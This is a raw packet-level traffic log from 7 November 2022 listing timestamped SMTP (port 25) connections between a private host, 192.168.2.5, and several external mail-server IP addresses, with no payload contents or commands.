Nov 7, 2022 22:25:05.665879965 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665899992 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665919065 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665936947 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665955067 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665973902 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665992022 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666012049 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666030884 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666049004 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666068077 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666088104 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666105986 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666125059 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666179895 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666201115 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666354895 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666373968 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666393042 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666513920 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666532993 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666553020 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666573048 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666754961 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666774035 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.666794062 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.706072092 CET	25	49860	209.51.188.92	192.168.2.5
Nov 7, 2022 22:25:05.707386017 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.707417011 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.707437038 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.707453966 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.707473040 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.707492113 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.707560062 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.707658052 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.707844019 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.707866907 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.707886934 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.707941055 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.707951069 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.707961082 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.707988024 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.708023071 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.708086967 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.708106995 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.708120108 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.708137989 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.708151102 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.708189011 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.708230019 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.708249092 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.708252907 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.708271027 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.708291054 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.708323956 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.708364010 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.859695911 CET	49860	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:25:06.068799973 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.068830967 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.068845034 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.068856955 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.068870068 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.068881035 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.068893909 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.068907976 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.068921089 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.068929911 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.069031954 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.069036007 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069048882 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069056988 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069072008 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.069211960 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.069256067 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069269896 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069282055 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069295883 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069355965 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069363117 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.069370031 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069381952 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069396019 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069411039 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069423914 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069428921 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.069432020 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069478989 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.069499969 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069545984 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.069597006 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069611073 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069616079 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.069623947 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069633007 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069645882 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069722891 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.069786072 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069787025 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.069799900 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069817066 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069833040 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069845915 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069861889 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069876909 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069890976 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069906950 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.069926023 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.069981098 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.070055008 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.070225000 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.070240021 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.070311069 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.430454016 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430520058 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430550098 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430617094 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430648088 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430696964 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430716991 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430735111 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430753946 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430783033 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430777073 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.430778027 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.430811882 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430846930 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430866957 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430941105 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430951118 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.430990934 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.430998087 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.430998087 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.430999041 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431026936 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431056976 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431087017 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431088924 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431113958 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431124926 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431124926 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431142092 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431170940 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431185007 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431185007 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431185007 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431202888 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431235075 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431240082 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431241035 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431262970 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431274891 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431293964 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431310892 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431324005 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431349993 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431351900 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431380033 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431381941 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431380033 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431410074 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431421041 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431421041 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431440115 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431453943 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431453943 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431471109 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431487083 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431499958 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431528091 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431541920 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431541920 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431557894 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431581020 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431586027 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431581020 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431610107 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431610107 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431615114 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431633949 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431643009 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431664944 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431668997 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431673050 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431704998 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431720972 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431734085 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431759119 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431759119 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431761980 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431792974 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431806087 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431822062 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431833982 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431850910 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431864977 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431883097 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431894064 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431911945 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431929111 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431941986 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431952953 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431969881 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.431982040 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.431998014 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432007074 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.432027102 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432034016 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.432054996 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432059050 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.432082891 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432090044 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.432111025 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432117939 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.432138920 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432152987 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.432172060 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432178020 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:06.432199955 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432229042 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432256937 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432286024 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432313919 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432342052 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432370901 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432400942 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432429075 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432456970 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432485104 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432512045 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432539940 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432569027 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432598114 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432627916 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432656050 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432684898 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432713985 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432742119 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432771921 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432801008 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432830095 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.432863951 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.433974028 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.454108000 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:06.500518084 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:06.571235895 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:06.589459896 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:06.604587078 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:06.604691982 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:06.646641016 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:06.646955013 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:06.680089951 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:06.690943003 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:06.702404976 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:06.740179062 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:06.743736029 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:06.743927956 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:06.782154083 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:06.793881893 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.793916941 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.793942928 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.793994904 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794022083 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794137955 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794172049 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794245005 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794272900 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794339895 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794374943 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794394016 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794419050 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794442892 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794469118 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794496059 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794540882 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794567108 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794590950 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794698954 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794739008 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794817924 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794843912 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.794922113 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795020103 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795089006 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795192003 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795227051 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795253038 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795277119 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795314074 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795341015 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795367956 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795391083 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795651913 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795677900 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795701981 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795727968 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795746088 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795764923 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795782089 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795800924 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.795998096 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796046972 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796076059 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796147108 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796171904 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796195030 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796216011 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796237946 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796468973 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796493053 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796516895 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796541929 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796672106 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796694994 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796719074 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796744108 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796771049 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796796083 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796819925 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796842098 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796892881 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796952963 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796974897 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.796998978 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797019958 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797172070 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797386885 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797440052 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797470093 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797497988 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797524929 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797553062 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797583103 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797610044 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797637939 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797667027 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797693968 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797722101 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797750950 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797779083 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797808886 CET	25	49859	74.125.200.27	192.168.2.5
